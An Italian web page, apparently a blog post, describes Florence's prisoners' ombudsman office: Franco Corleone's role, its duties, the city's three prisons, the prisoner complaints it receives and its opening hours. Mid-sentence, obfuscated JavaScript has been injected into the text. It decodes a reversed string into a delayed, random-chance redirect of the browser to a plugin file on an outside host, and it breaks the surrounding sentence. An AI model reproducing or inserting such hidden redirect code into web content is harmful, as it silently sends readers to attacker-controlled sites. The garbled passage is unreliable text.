Il Garante dei Detenuti, chi è?

image_pdfimage_print

Con una delibera del 2003, il Comune di Firenze ha istituito la figura del Garante dei Detenuti. Franco Corleone, eletto dal Sindaco a Garante, è stato membro della Commissione sulla giustizia e della Commissione Antimafia nel Parlamento italiano. Attualmente è Presidente dell’Associazione di promozione sociale Forum Droghe e Garante per i diritti dei detenuti del Comune di Firenze.
Le funzioni del Garante sono di promuovere l’esercizio dei diritti e delle opportunità di partecipazione alla vita civile delle persone private della libertà personale. In particolare rispetto ai diritti fondamentali, al lavoro, alla formazione, alla cultura, all’assistenza, alla tutela della salute, allo sport. Promuove inoltre iniziative e momenti di sensibilizzazione pubblica sul tema dei diritti umani delle persone private della libertà personale e dell’umanizzazione della pena detentiva.
Opera in una città, Firenze, dove sono presenti tre istituti di pena: la Casa Circondariale Nuovo Complesso Penitenziario di Sollicciano, la Casa Circondariale Mario Gozzini e l’Istituto Penale Minorile.
Dall’inizio del 2006 sono state circa un centinaio le istanze rivolte all’ufficio del Garante da parte di persone private della liberta personale o comunque sottoposte a misure restrittive della stessa. Molte fra queste provenivano da Istituti fuori Firenze, super (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando il territorio di competenza del Garante, che ha cercato per quanto possibile di attivarsi con l’Organo competente per risolvere il caso. Questo dato fa riflettere sulla necessità della presenza del Garante anche nelle realtà territoriali, dove ancora non c’è. Il tema più ricorrente nelle missive dei detenuti, oltre ai problemi di salute, per i quali il Garante ha prontamente sollecitato le visite sanitarie, è senza dubbio quello dei trasferimenti. Molte lettere denunciano infatti spostamenti da un carcere a un altro, che allontanano il detenuto dalla famiglia e dalla eventuale attività lavorativa o scolastica intrapresa.
Gli uffici del Garante sono a Firenze, in via Pietrapiana 53, aperti il lunedì, mercoledì e venerdì dalle 9:00 alle 12:00, e il martedì e giovedì dalle 15:00 alle 17:00. Tel. 055/2769604.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *